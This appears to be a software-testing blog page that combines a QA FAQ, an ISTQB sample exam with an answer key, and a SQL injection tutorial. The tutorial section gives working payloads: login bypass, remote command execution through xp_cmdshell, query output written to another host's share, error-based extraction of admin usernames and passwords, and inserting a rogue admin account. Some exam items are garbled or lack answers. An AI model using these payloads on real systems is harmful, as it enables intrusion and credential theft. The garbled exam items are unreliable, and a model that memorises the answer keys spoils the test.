This can be difficult to determine. Many modern software applications are so complex, and run in such an interdependent environment, that complete testing can never be done. Common factors in deciding when to stop are: - Deadlines (release deadlines, testing deadlines, etc.)- Test cases completed with certain percentage passed - Test budget depleted - Coverage of code/functionality/requirements reaches a specified point - Bug rate falls below a certain level - Beta or alpha testing period ends

41. What if there isn't enough time for thorough testing?
Use risk analysis to determine where testing should be focused. Since it's rarely possible to test every possible aspect of an application, every possible combination of events, every dependency, or everything that could go wrong, risk analysis is appropriate to most software development projects. This requires judgement skills, common sense, and experience. (If warranted, formal methods are also available.) Considerations can include: - Which functionality is most important to the project's intended purpose? - Which functionality is most visible to the user? - Which functionality has the largest safety impact? - Which functionality has the largest financial impact on users? - Which aspects of the application are most important to the customer? - Which aspects of the application can be tested early in the development cycle? - Which parts of the code are most complex, and thus most subject to errors? - Which parts of the application were developed in rush or panic mode? - Which aspects of similar/related previous projects caused problems? - Which aspects of similar/related previous projects had large maintenance expenses? - Which parts of the requirements and design are unclear or poorly thought out? - What do the developers think are the highest-risk aspects of the application? - What kinds of problems would cause the worst publicity? - What kinds of problems would cause the most customer service complaints?- What kinds of tests could easily cover multiple functionalities? - Which tests will have the best high-risk-coverage to time-required ratio?

42. What can be done if requirements are changing continuously?
A common problem and a major headache. - Work with the project's stakeholders early on to understand how requirements might change so that alternate test plans and strategies can be worked out in advance, if possible. - It's helpful if the application's initial design allows for some adaptability so that later changes do not require redoing the application from scratch. - If the code is well-commented and well-documented this makes changes easier for the developers.- Use rapid prototyping whenever possible to help customers feel sure of their requirements and minimize changes. - The project's initial schedule should allow for some extra time commensurate with the possibility of changes.- Try to move new requirements to a 'Phase 2' version of an application, while using the original requirements for the 'Phase 1' version. - Negotiate to allow only easily-implemented new requirements into the project, while moving more difficult new requirements into future versions of the application. - Be sure that customers and management understand the scheduling impacts, inherent risks, and costs of significant requirements changes. Then let management or the customers (not the developers or testers) decide if the changes are warranted - after all, that's their job. - Balance the effort put into setting up automated testing with the expected effort required to re-do them to deal with changes. - Try to design some flexibility into automated test scripts. - Focus initial automated testing on application aspects that are most likely to remain unchanged. - Devote appropriate effort to risk analysis of changes to minimize regression testing needs. - Design some flexibility into test cases (this is not easily done; the best bet might be to minimize the detail in the test cases, or set up only higher-level generic-type test plans) - Focus less on detailed test plans and test cases and more on ad hoc testing (with an understanding of the added risk that this entails).

43. What if the project isn't big enough to justify extensive testing?
Consider the impact of project errors, not the size of the project. However, if extensive testing is still not justified, risk analysis is again needed and the same considerations as described previously in 'What if there isn't enough time for thorough testing?' apply. The tester might then do ad hoc testing, or write up a limited test plan based on the risk analysis.

44. What if the application has functionality that wasn't in the requirements?
It may take serious effort to determine if an application has significant unexpected or hidden functionality, and it would indicate deeper problems in the software development process. If the functionality isn't necessary to the purpose of the application, it should be removed, as it may have unknown impacts or dependencies that were not taken into account by the designer or the customer. If not removed, design information will be needed to determine added testing needs or regression testing needs. Management should be made aware of any significant added risks as a result of the unexpected functionality. If the functionality only effects areas such as minor improvements in the user interface, for example, it may not be a significant risk.

45. How can Software QA processes be implemented without stifling productivity?
By implementing QA processes slowly over time, using consensus to reach agreement on processes, and adjusting and experimenting as an organization grows and matures, productivity will be improved instead of stifled. Problem prevention will lessen the need for problem detection, panics and burn-out will decrease, and there will be improved focus and less wasted effort. At the same time, attempts should be made to keep processes simple and efficient, minimize paperwork, promote computer-based processes and automated tracking and reporting, minimize time required in meetings, and promote training as part of the QA process. However, no one - especially talented technical types - likes rules or bureaucracy, and in the short run things may slow down a bit. A typical scenario would be that more days of planning and development will be needed, but less time will be required for late-night bug-fixing and calming of irate customers.

46. What if an organization is growing so fast that fixed QA processes are impossible?
This is a common problem in the software industry, especially in new technology areas. There is no easy solution in this situation, other than: - Hire good people - Management should 'ruthlessly prioritize' quality issues and maintain focus on the customer - Everyone in the organization should be clear on what 'quality' means to the customer

47. How does a client/server environment affect testing?
Client/server applications can be quite complex due to the multiple dependencies among clients, data communications, hardware, and servers. Thus testing requirements can be extensive. When time is limited (as it usually is) the focus should be on integration and system testing. Additionally, load/stress/performance testing may be useful in determining client/server application limitations and capabilities. There are commercial tools to assist with such testing.

48.How can World Wide Web sites be tested?
Web sites are essentially client/server applications - with web servers and 'browser' clients. Consideration should be given to the interactions between html pages, TCP/IP communications, Internet connections, firewalls, applications that run in web pages (such as applets, javascript, plug-in applications), and applications that run on the server side (such as cgi scripts, database interfaces, logging applications, dynamic page generators, asp, etc.). Additionally, there are a wide variety of servers and browsers, various versions of each, small but sometimes significant differences between them, variations in connection speeds, rapidly changing technologies, and multiple standards and protocols. The end result is that testing for web sites can become a major ongoing effort. Other considerations might include: - What are the expected loads on the server (e.g., number of hits per unit time?), and what kind of performance is required under such loads (such as web server response time, database query response times). What kinds of tools will be needed for performance testing (such as web load testing tools, other tools already in house that can be adapted, web robot downloading tools, etc.)? - Who is the target audience? What kind of browsers will they be using? What kind of connection speeds will they by using? Are they intra- organization (thus with likely high connection speeds and similar browsers) or Internet-wide (thus with a wide variety of connection speeds and browser types)? - What kind of performance is expected on the client side (e.g., how fast should pages appear, how fast should animations, applets, etc. load and run)? - Will down time for server and content maintenance/upgrades be allowed? how much? - What kinds of security (firewalls, encryptions, passwords, etc.) will be required and what is it expected to do? How can it be tested? - How reliable are the site's Internet connections required to be? And how does that affect backup system or redundant connection requirements and testing? - What processes will be required to manage updates to the web site's content, and what are the requirements for maintaining, tracking, and controlling page content, graphics, links, etc.? - Which HTML specification will be adhered to? How strictly? What variations will be allowed for targeted browsers? - Will there be any standards or requirements for page appearance and/or graphics throughout a site or parts of a site?? - How will internal and external links be validated and updated? how often? - Can testing be done on the production system, or will a separate test system be required? How are browser caching, variations in browser option settings, dial-up connection variabilities, and real-world internet 'traffic congestion' problems to be accounted for in testing?- How extensive or customized are the server logging and reporting requirements; are they considered an integral part of the system and do they require testing?- How are cgi programs, applets, javascripts, ActiveX components, etc. to be maintained, tracked, controlled, and tested? - Pages should be 3-5 screens max unless content is tightly focused on a single topic. If larger, provide internal links within the page. - The page layouts and design elements should be consistent throughout a site, so that it's clear to the user that they're still within a site. - Pages should be as browser-independent as possible, or pages should be provided or generated based on the browser-type. - All pages should have links external to the page; there should be no dead-end pages. - The page owner, revision date, and a link to a contact person or organization should be included on each page.

49. How is testing affected by object-oriented designs?
Well-engineered object-oriented design can make it easier to trace from code to internal design to functional design to requirements. While there will be little affect on black box testing (where an understanding of the internal design of the application is unnecessary), white-box testing can be oriented to the application's objects. If the application was well-designed this can simplify test design.

50. What is Extreme Programming and what's it got to do with testing?
Extreme Programming (XP) is a software development approach for small teams on risk-prone projects with unstable requirements. It was created by Kent Beck who described the approach in his book 'Extreme Programming Explained'. Testing ('extreme testing') is a core aspect of Extreme Programming. Programmers are expected to write unit and functional test code first - before the application is developed. Test code is under source control along with the rest of the code. Customers are expected to be an integral part of the project team and to help develop scenarios for acceptance/black box testing. Acceptance tests are preferably automated, and are modified and rerun for each of the frequent development iterations. QA and test personnel are also required to be an integral part of the project team. Detailed requirements documentation is not used, and frequent re-scheduling, re-estimating, and re-prioritizing is expected.

ISTQB ISEB Foundation Level Sample Paper

2011-12-27T02:00:00.001-08:00

1. Which of the following are the typical defects found by static analysis tools?
a. Variables that are never used.
b. Security vulnerabilities.
c. Poor performance.
d. Unreachable code.
e. Business processes not followed.
A. b, c and d are true; a and e are false
B. a is true; b, c, d and e are false
C. c, d and e are true; a and b are false
D. a, b and d are true; c and e are false
Answer: D

2. Which of the following are characteristics of good testing in any life cycle model?
a. Every development activity has a corresponding test activity.
b. Testers review development documents early.
c. There are separate levels for component and system integration test.
d. Each test level has objectives specific to that level.
e. Each test level is based on the same test basis.
A. a, d and e
B. b, c and e
C. a, c and d
D. a, b and d
Answer: D

3. Which of the following statements are true in relation to component testing?
a. Stubs may be used.
b. May cover resource behaviour (e.g. memory leaks).
c. Tests the interactions between software components.
d. Defects are typically fixed without formally managing these defects.
A. a, c and d
B. a, b and d
C. b, c and d
D. a, b and c
Answer: B

4. A system specification states that a particular field should accept alphabetical characters in either upper or lower case. Which of the following test cases is from an INVALID equivalence partition?
A. Feeds
B. F33ds
C. FEEDS
D. fEEDs
Answer: B

5. Which of the following statements is GENERALLY true of testing?
a. Testing can show the presence of defects.
b. Testing reduces the probability of uncovered defects.
c. Testing can show that a previously present defect has been removed.
d. Testing can prove that software is defect free.
A. a, b and c
B. a, b and d
C. a, c and d
D. b, c and d
Answer: A

6. Which ADDITIONAL test level could be introduced into a standard V-model after system testing?
A. System Integration Testing
B. Acceptance Testing
C. Regression Testing
D. Component Integration Testing
Answer: A

7. Which statement BEST describes the role of testing?
A. Testing ensures that the right version of code is delivered
B. Testing can be used to assess quality.
C. Testing shows that the software is error free.
D. Testing improves quality in itself.
Answer: B

8. Which tasks would USUALLY be performed by a test leader and which by the tester?
a. Adapt planning based on test results.
b. Create test specifications.
c. Plan tests.
d. Write or review a test strategy
A. c and d by the test leader; a and b by the tester
B. a and b by the test leader; c and d by the tester.
C. a and d by the test leader; b and c by the tester
D. a, c and d by the test leader; b by the tester.
Answer: D

9. When in the lifecycle should testing activities start?
A. As early as possible
B. After the test environment is ready
C. After the requirements have been reviewed
D. Once the code is available to test
Answer: A

10. Which one of the following is a characteristic of good testing in any lifecycle model?
A. Each test level has the same test objective.
B. There should be more testing activities than development activities.
C. Test design can only begin when development is complete.
D. Testers should begin to review documents as soon as drafts are available.
Answer: D

11. During which activity of the Fundamental Test Process do you review the test basis?
A. Evaluating exit criteria and reporting.
B. Test implementation and execution
C. Test analysis and design
D. Test planning and control
Answer: C

12. Which one of the following statements about approaches to test estimation is true?
A. A metrics-based approach is based on data gathered from previous projects; an expert-based approach uses the knowledge of the owner of the tasks or experts
B. A metrics-based approach is based on creating a work-breakdown structure first; an expert-based approach is based on input from estimation experts
C. A metrics-based approach is based on data gathered from previous projects; an expert-based approach is based on a work-breakdown structure
D. A metrics-based approach is based on an analysis of the specification documents; an expert-based approach is based on the opinion of the most experienced tester in the organization
Answer: A

13. Which ordering of the list below gives increasing levels of test independence?
a. Tests designed by a fellow-member of the design team.
b. Tests designed by a different group within the organization.
c. Tests designed by the code author.
d. Tests designed by different organization.
A. c, a, b, d.
B. d, b, a, c
C. c, a, d, b.
D. a, c, d, b.
Answer: A

14. Which of the following are structure-based techniques?
a. Decision table testing
b. Boundary value analysis
c. Multiple condition coverage
d. Use case testing
e. Decision testing
A. a and c.
B. b and d.
C. b and e.
D. c and e.
Answer: D

15. Pair the correct test design techniques (i to v) with the category of techniques (x, y and z):
i) Exploratory Testing
ii) Equivalence Partitioning
iii) Decision Testing
iv) Use Case Testing
v) Condition coverage
x) Specification-based
y) Structure-based
z) Experienced-based
A. x = i and ii; y = iii and v; z = iv.
B. x = i, ii and iv; y = v; z = iii
C. x = ii and iv; y = iii and v; z = i.
D. x = iii and iv; y = v; z = i and ii.

16. Which of the following is a MAJOR task of evaluating exit criteria and reporting?
A. Writing a test summary report for stakeholders
B. Logging the outcome of test execution
C. Repeating test activities as a result of action taken for each discrepancy.
D. Evaluating testability of the requirements and system
Answer: A

17. The digital ainbow Thermometer uses 7 colours to show the ambient temperature. Each colour spans a range of just 5, with an operating minimum and maximum of minus 5 and 30. Which of the following values is minimum and maximum of minus 5? and 30?. Which of the following values is LEAST likely to have been identified when applying the boundary value test design technique?
A. 3030?
B. 00?
C. 8?8
D. 15 15?
Answer: C

18. In which activity of the Fundamental Test Process is the test environment set up?
A. Test implementation and execution.
B. Test planning and control
C. Test analysis and design
D. Evaluating exit criteria and reporting
Answer: A

19. Which of the following statements about black box and white box techniques is correct?
A. Decision Testing, Equivalence Partitioning and Condition Coverage are all black box techniques
B. Decision Table Testing, State Transition and Use Case Testing are all black box techniques
C. Decision Testing, Equivalence Partitioning and Statement Testing are all white box techniques
D. Boundary Value Analysis, State Transition and Statement Testing are all white box techniques
Answer: B

20. Which of the following are characteristic of test management tools?
a) They support traceability of tests to source documents.
b) They provide an interface to test execution tools.
c) They help to enforce coding standards.
d) They manipulate databases and files to set up test data.
A. a and c
B. b and c
C. a and b
D. b and d
Answer: C

21. How is the scope of maintenance testing assessed?
A. Scope is related to the risk, size of the changes and size of the system under test
B. Scope is defined by the size and type of system being changed
C. Scope is defined by the size and type of system being changed
D. Scope is related to the number of system users affected by the change.
Answer: A

22. A system under development contains complex calculations and decision logic, and it is assessed as high risk because of the relative inexperience of the development team in the application domain. Which of the following would be the MOST appropriate choice of test design technique for component testing?
A. Decision testing.
B. Statement testing
C. State transition testing
D. Equivalence partitioning
Answer: A

23. Which of the following is an example of a product risk?
A. Software that does not perform its intended functions
B. Failure of a third party
C. Problems in defining the right requirements
BH0-010
D. Skill and staff shortages
Answer: A

24. Given the following sample of pseudo code:
01 Input number of male tigers
02 Input number of female tigers
03 If male tiger > 0 and female tiger > 0 then
04 Input Do you want to breed (Yes / No)
05 If breed = No?
06 Print Keep male and female tigers apart
07 End if
08 End If
Which of the following test cases will ensure that statement 6 is executed?
A. male tiger = 1, female tiger = 1, breed = yes
B. male tiger = 1, female tiger = 1, breed = no
C. male tiger = 1, female tiger = 2, breed = yes
D. male tiger = 1, female tiger = 0, breed = no
Answer: B

25. Which of the following BEST describes a data-driven approach to the use of test execution tools?
A. Monitoring response times when the system contains a specified amount of data
B. Manipulation of databases and files to create test data
C. Using a generic script that reads test input data from a file
D. Recording test scripts and playing them back
Answer: C

26. Which statement about combinations of inputs and preconditions is true for a large system?
A. It is easy to test them all in a short time
B. It is not practically possible to test them all
C. It is not possible to test any of them
D. It is essential to test them all in order to do good testing
Answer: B

28. Which of the following is a purpose of the review kick off activity?
A. Explain the objectives
B. Select the personnel group
C. Document results
D. Define entry and exit criteria
Answer: A

29. Which one of the following is true of software development models?
A. There are always four test levels in the V-model.
B. In a Rapid Application Development (RAD) project, there are four test levels for each iteration.
C. In Agile development models, the number of test levels for an iteration can vary depending on the project.
D. There must be at least four test levels for any software development model.
Answer: C

30. Which of the following activities should be performed during the selection and implementation of a testing tool?
a) Determine whether the organization existing test process needs to change.
b) Conduct a proof of concept.
c) Implement the selected tool on a project behind schedule to save time.
d) Identify coaching and mentoring requirements for the use of the selected tool
A. a, b and c.
B. b, c and d.
C. a, c and d.
D. a, b and d.
Answer: D

31. The following code segment contains a potential "divide by 0" error.
J=50 K=1 while (N>=−10) and (N<=10) loop M [K] = J/N K = K + 1 N = N − 1 end loop; Which of the following is the most effective way of detecting this error?
A. Boundary testing B. Condition testing C. Compilation of the source code D. Source code inspection
Answer: D

32. A test team consistently finds between 90% and 95% of the defects present in the system under test. While the test manager understands that this is a good defect-detection percentage for her test team and industry, senior management and executives remain disappointed in the test group, saying that the test team misses too many bugs. Given that the users are generally happy with the system and that the failures which have occurred have generally been low impact, which of the following testing principles is most likely to help the test manager explain to these managers and executives why some defects are likely to be missed?
A. Exhaustive testing is impossible B. Defect clustering C. Pesticide paradox D. Absence-of-errors fallacy
Answer: A

33. System test execution on a project is planned for eight weeks. After a week of testing, a tester suggests that the test objective stated in the test plan of 'finding as many defects as possible during system test' might be more closely met by redirecting the test effort according to which test principle?
A. Impossibility of exhaustive testing. B. Importance of early testing. C. The absence of errors fallacy. D. Defect clustering
Answer: D

34. Which of the following statements is MOST OFTEN true?
A. Source-code inspections are often used in component testing. B. Component testing searches for defects in programs that are separately testable. C. Component testing is an important part of user acceptance testing. D. Component testing aims to expose problems in the interactions between software and hardware components.
Answer: B

Developer vs Tester

2011-11-26T07:29:00.000-08:00

SQL Injections

2011-11-23T22:43:00.000-08:00

1 What is SQL Injection?
It is a trick to inject SQL query/command as an input possibly via web pages. Many web pages take parameters from web user, and make SQL query to the database. Take for instance when a user login, web page that user name and password and make SQL query to the database to check if a user has valid name and password. With SQL Injection, it is possible for us to send crafted user name and/or password field that will change the SQL query and thus grant us something else.

2 What do you need?
Any web browser.

3 What you should look for?
Try to look for pages that allow you to submit data, i.e: login page, search page, feedback, etc. Sometimes, HTML pages use POST command to send parameters to another ASP page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for "FORM" tag in the HTML code. You may find something like this in some HTML codes:

Everything between the have potential parameters that might be useful (exploit wise).

4 What if you can't find any page that takes input?
You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to look especially for URL that takes parameters, like:

http://duck/index.asp?id=10

5 How do you test if it is vulnerable?
Start with a single quote trick. Input something like:

hi' or 1=1--

Into login, or password, or even in the URL. Example:
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://duck/index.asp?id=hi' or 1=1--

If you must do this with a hidden field, just download the source HTML from the site, save it in your hard disk, modify the URL and hidden field accordingly. Example:

If luck is on your side, you will get login without any login name or password.

6 But why ' or 1=1--?
Let us look at another example why ' or 1=1-- is important. Other than bypassing login, it is also possible to view extra information that is not normally available. Take an asp page that will link you to another page with the following URL:

http://duck/index.asp?category=food

In the URL, 'category' is the variable name, and 'food' is the value assigned to the variable. In order to do that, an ASP might contain the following code (OK, this is the actual code that we created for this exercise):

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)

As we can see, our variable will be wrapped into v_cat and thus the SQL statement should become:

SELECT * FROM product WHERE PCategory='food'

The query should return a resultset containing one or more rows that match the WHERE condition, in this case, 'food'.

Now, assume that we change the URL into something like this:

http://duck/index.asp?category=food' or 1=1--

Now, our variable v_cat equals to "food' or 1=1-- ", if we substitute this in the SQL query, we will have:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

The query now should now select everything from the product table regardless if PCategory is equal to 'food' or not. A double dash "--" tell MS SQL server ignore the rest of the query, which will get rid of the last hanging single quote ('). Sometimes, it may be possible to replace double dash with single hash "#".

However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try

' or 'a'='a

The SQL query will now become:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

It should return the same result.

Depending on the actual SQL query, you may have to try some of these possibilities:

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

7 How do I get remote execution with SQL injection?
Being able to inject SQL command usually mean, we can execute any SQL query at will. Default installation of MS SQL Server is running as SYSTEM, which is equivalent to Administrator access in Windows. We can use stored procedures like master..xp_cmdshell to perform remote execution:

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Try using double quote (") if single quote (') is not working.

The semi colon will end the current SQL query and thus allow you to start a new SQL command. To verify that the command executed successfully, you can listen to ICMP packet from 10.10.1.2, check if there is any packet from the server:

#tcpdump icmp

If you do not get any ping request from the server, and get error message indicating permission error, it is possible that the administrator has limited Web User access to these stored procedures.

8 How to get output of my SQL query?
It is possible to use sp_makewebtask to write your query into an HTML:

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

But the target IP must folder "share" sharing for Everyone.

9 How to get data from the database using ODBC error message
We can use information from error message produced by the MS SQL Server to get almost any data we want. Take the following page for example:

http://duck/index.asp?id=10

We will try to UNION the integer '10' with another string from the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

The system table INFORMATION_SCHEMA.TABLES contains information of all tables in the server. The TABLE_NAME field obviously contains the name of each table in the database. It was chosen because we know it always exists. Our query:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

This should return the first table name in the database. When we UNION this string value to an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This will produce an error, since we cannot convert nvarchar to int. The server will display the following error:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5

The error message is nice enough to tell us the value that cannot be converted into an integer. In this case, we have obtained the first table name in the database, which is "table1".

To get the next table name, we can use the following query:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

We also can search for data using LIKE keyword:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5

The matching patent, '%25login%25' will be seen as %login% in SQL Server. In this case, we will get the first table name that matches the criteria, "admin_login".

10 How to mine all column names of a table?
We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out all columns name of a table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5

Now that we have the first column name, we can use NOT IN () to get the next column name:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5

When we continue further, we obtained the rest of the column name, i.e. "password", "details". We know this when we get the following error message:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

11 How to retrieve any data we want?
Now that we have identified some important tables, and their column, we can use the same technique to gather any information we want from the database.

Now, let's get the first login_name from the "admin_login" table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5

We now know there is an admin user with the login name of "neo". Finally, to get the password of "neo" from the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5

We can now login as "neo" with his password "m4trix".

12 How to get numeric string value?
There is limitation with the technique describe above. We cannot get any error message if we are trying to convert text that consists of valid number (character between 0-9 only). Let say we are trying to get password of "trinity" which is "31173":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

We will probably get a "Page Not Found" error. The reason being, the password "31173" will be converted into a number, before UNION with an integer (10 in this case). Since it is a valid UNION statement, SQL server will not throw ODBC error message, and thus, we will not be able to retrieve any numeric entry.

To solve this problem, we can append the numeric string with some alphabets to make sure the conversion fail. Let us try this query instead:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

We simply use a plus sign (+) to append the password with any text we want. (ASSCII code for '+' = 0x2b). We will append '(space)morpheus' into the actual password. Therefore, even if we have a numeric string '31173', it will become '31173 morpheus'. By manually calling the convert() function, trying to convert '31173 morpheus' into an integer, SQL Server will throw out ODBC error message:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5

Now, you can even login as 'trinity' with the password '31173'.

13 How to update/insert data into the database?
When we successfully gather all column name of a table, it is possible for us to UPDATE or even INSERT a new record in the table. For example, to change password for "neo":

http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

To INSERT a new record into the database:

http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

We can now login as "neo2" with the password of "newpas5".

14 How to avoid SQL Injection?
Filter out character like single quote, double quote, slash, back slash, semi colon, extended character like NULL, carry return, new line, etc, in all strings from:
- Input from users
- Parameters from URL
- Values from cookie

For numeric value, convert it to an integer before parsing it into SQL statement. Or using ISNUMERIC to make sure it is an integer.

Change "Startup and run SQL Server" using low privilege user in SQL Server Security tab.

Delete stored procedures that you are not using like:

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

Test Cases Priorities for executions

2011-11-21T02:17:00.000-08:00

After building & validating the testing models several test cases are generated. The next biggest task is to decide the priority for executing them by using some systematic procedure.

The process begins with identification of "Static Test Cases" and "Dynamic Test Runs", brief introduction of which is as under.

Test case: It is a collection of several items and corresponding information, which enables a test to be executed or performing a test run.

Test Run: It is a dynamic part of the specific testing activities in the overall sequence of testing on some specific testing object.

Every time we invoke a static test case, we in-turn perform an individual dynamic test run. Hence we can say that, every test case can correspond to several test runs.

Why & how do we prioritize?
Out of a large cluster of test cases in our hand, we need to scientifically decide their priorities of execution based upon some rational, non-arbitrary, criteria. We carry out the prioritization activity with an objective to reduce the overall number of test cases in the total testing feat.

There are couples of risks associated with our prioritization activities for the test cases. We may have the risk that some of the application features may not undergo testing at all.

During prioritization we work out plans addressing following two key concepts:

Concept – 1: Identify the essential features that must be tested in any case.

Concept – 2: Identify the risk or consequences of not testing some of the features.

The decision making in selecting the test cases is largely based upon the assessment of the risk first.

The objective of the test case prioritization exercise is to build confidence among the testers and the project leaders that the tests identified for execution are adequate from different angles.

The list of test cases decided for execution can be subjected to n-number of reviews in case of doubts / risks associated with any of the omitted tests.

Following four schemes are quite common for prioritizing the test cases.

All these methods are independent of each other & are aimed at optimizing the number of test cases. It is difficult to brand either of the methods better than the other. We can use any one method as a standalone scheme or can be used in conjunction with another one. When we get similar results out of different prioritization schemes, level of confidence increases.

Scheme – 1: Categorization of Priority.

Scheme – 2: Risk analysis.

Scheme – 3: Brainstorming to dig out the problematic areas.

Scheme – 4: Combination of different schemes.

Let us discuss the priority categorization scheme in greater detail here.

Easiest of all methods for categorizing our tests is to assign a priority code directly to every test description. This involves assigning a unique number to each & every test description.

A popular three-level priority categorization scheme is described as under

Priority - 1: Allocated to all tests that must be executed in any case.

Priority - 2: Allocated to the tests which can be executed, only when time permits.

Priority - 3: Allocated to the tests, which even if not executed, will not cause big upsets.

After assignment of priority codes, the tester estimates the amount of time required to execute the tests selected in each category. In case the estimated time happens to lie within the allotted schedule, means successful identification of tests & completion of the partitioning exercise. In case of any deviation of time plans, partitioning exercise is carried out further.

There is another extension to the above scheme i.e. new five-level scale using which we can classify the test priorities further.

The Five-Level Priority scheme is as under

Priority-1a: Allocated to the tests, which must pass, otherwise the delivery date will be affected.

Priority-2a: Allocated to the tests, which must be executed before the final delivery.

Priority-3a: Allocated to the tests which can be executed, only when time permits.

Priority-4a: Allocated to the tests, which can wait & can be executed even after the delivery date.

Priority-5a: Allocated to the tests, which have remote probability of execution ever.

Testers plan to divide the tests in various categories. For instance, say tests from priority 2 are further divided among priority levels like 3a, 4a and 5a. Likewise any test can be downgraded or upgraded.

Other considerations used while prioritizing or sequencing the test cases

a) Relative Dependencies: Some test cases are such that they can run only after the others because the one is used to set up the other. This is applicable especially for continuously operating systems involving test run to start from a state created by the previous one.

b) Timings of defect detection: Applies to cases wherein the problems can be detected only when many other problems have been found and already fixed. For example it applies to integration testing involving many components having their own problems at individual components level.

c) Damage or accidents: Applies to cases wherein acute problems or even severe damages can happen during testing unless some critical areas had not been checked before the present test run. For example it applies to embedded software involving safety critical systems, wherein the testers would not prefer to start testing the safety features prior to first testing the other related functions.

d) Difficulty levels: This is one of the most natural & commonly used sequence to execute the test cases involving moving from simple & easy test cases to difficult and complicated ones. This applies to scenarios where complicated problems can be expected. Here the testers prefer to execute comparatively simpler test cases first to narrow down the problematic areas.

5) Combining the test cases: Applies to majority of cases in large-scale software testing exercises involving interleaving and parallel testing to accelerate the testing process.

A comparison chart between Desktop, Client Server and Web Applications

2011-11-21T02:08:00.001-08:00

Desktop Application
Single tier application
Application runs in single system
Single user

Client Server Application
2 tier application
Application runs in two or more systems
Limited number of users
Connection exists until logout
Application is menu driven
Known network issues in case of intranet as number of clients and servers are known
Known users

Web Application
3 tier application
Application runs in two or more systems
Unlimited number of users
Disconnected mode (stateless) – management of cookies
Application is URL driven
Many issues exist like hardware compatibility, browser compatibility, version compatibility, security issues, performance issues
Unknown users

QA process

2011-11-16T01:12:00.001-08:00

A. Startup phase
During the startup phase QA effort are targeted mostly to documentation artifacts of the project. The following efforts take place during the phase:
1. Review and analysis of requirements. QA experts together with development experts analyze the requirements and specification documents in order to eliminate any inconsistencies. Software UI and navigation may be reworked greatly to improve the software usability and make it match common UI standards. New functionality may be offered to extend the required features in order to improve the entire application. Security issues that can be found at the early stage of testing the application may be avoided so project resources can be reduced.
2. Definition of testing goals and criteria. Definition of testing goals, criteria of meeting the goals, risk assessment, possible ways of risk mitigation.
3. Definition of testing approaches.Testing approaches and techniques are defined based on software type, project duration, available resources and testing goals. For example, load testing and security analysis are necessary for distributed applications, while automated regression tests are necessary for long-term projects. Tools required to perform the necessary testing are identified.
4. Resource estimation. QA resource estimation is based on the software specification, required QA documents and chosen testing approaches. Automated regression/load testing scripts reduce resource estimation for long-term projects, but may increase it for short projects.
5. Document templates approval. Format of all QA related documents should be approved by both sides, and modified if there are any objections or suggestions to already existing set of templates.
